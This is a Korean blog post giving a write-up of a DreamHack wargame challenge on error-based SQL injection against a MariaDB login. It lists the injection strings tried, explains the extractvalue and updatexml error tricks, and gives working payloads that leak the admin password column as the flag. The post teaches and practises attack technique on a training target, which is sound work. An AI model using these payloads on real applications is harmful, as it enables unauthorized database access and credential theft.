본문 바로가기
IT Security/DreamHack

드림핵 워게임 error based sql injection 문제 풀이 (Level 1)

by 바닐라이코노미 2024. 11. 11.
반응형

드림핵 사이트의 워게임 중 웹 해킹 관련

error based sql injection 문제 풀이 (Level 1) 문제에 대해서 정리해보려 합니다

 

<문제설명>

Simple Error Based SQL Injection !

 

<문제를 풀기 위한 시도 정리>

 

admin을 입력

 

 

' 하나만 입력을 해보니 관련해서 syntax 에러 설명이 나온다 MariaDB를 사용함을 확인함

#추가 시도 방법
' #
' or '1' #
' or '1' --
admin or '1' #
1' AND (SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT database()), 0x3a, FLOOR(RAND()*2)) AS x FROM information_schema.tables GROUP BY x) AS y)

 

이쯤에서 주어진 소스를 확인해 본다

 

cur로 SELECT * FROM user WHERE uid = '[uid 변수]';를 실행 uid에 uid변수값을 넣어서 template을 반환함

만약 위의 세 줄을 실행 중에 에러가 발생하면 해당 에러문 출력

그리고 uid가 admin인 계정의 upw칼럼의 “플래그값”이 있는 것을 확인

 

Error based SQL Injection
애플리케이션에서 발생하는 에러를 이용해 공격하려 한다면 문법 에러와 같이 DBMS에서 쿼리가 실행되기 전에 발생하는 에러가 아닌 런타임(Runtime) 즉, 쿼리가 실행되고 나서 발생하는 에러가 필요

extractvalue(xml_document, xpath_expression) 사용 방법

→ extractvalue() 함수는 MySQL에서 XML 데이터를 다루기 위해 사용되는 함수로, 두 개의 인수를 받는다

첫 번째 인수 : XML 데이터 전달 이 인수는 XML 형식의 문자열이어야 한다
두 번째 인수 : XPath 표현식을 전달해야 한다

사용법
mysql> SELECT extractvalue('<a>test</a> <b>abcd</b>', '/a');
=> test

SELECT extractvalue(1,concat(0x3a,version()));
=> ERROR 1105 (HY000): XPATH syntax error: ':5.7.29-0ubuntu0.16.04.1-log'

mysql> SELECT extractvalue(1,concat(0x3a,(SELECT password FROM users WHERE username='admin')));
=> ERROR 1105 (HY000): XPATH syntax error: ':Th1s_1s_admin_PASSW@rd'

SELECT updatexml(null,concat(0x0a,version()),null);
=> 5.7.29-0ubuntu0.16.04.1-log'

 

 

' UNION SELECT extractvalue(1,concat(0x3a,version())); 입력 시도

 

' UNION SELECT extractvalue(1,concat(0x3a,databse())); 데이터 베이스를 조회 해본다

→ user라는 데이터베이스라는 게 나온다

 

' UNION SELECT extractvalue(1, concat(0x3a, (SELECT LENGTH(upw) FROM user WHERE uid='admin')))#

→ 44자리 임을 확인

 

' UNION SELECT extractvalue(1, concat(0x3a, (SELECT upw FROM user WHERE uid='admin')))#

→ DH 부분이 다 안 나온 것을 확인

 

' UNION SELECT extractvalue(1, concat(0x3a, (SELECT substr(upw,20,45) FROM user WHERE uid='admin')))#

→ 나머지 글자수가 나오도록 확인 (위에서 44자인걸 확인했으므로)

 

2개를 조합하면 FLAG값이 추출된다

 

문제 출처 및 참조

https://learn.dreamhack.io/

 

 

 

반응형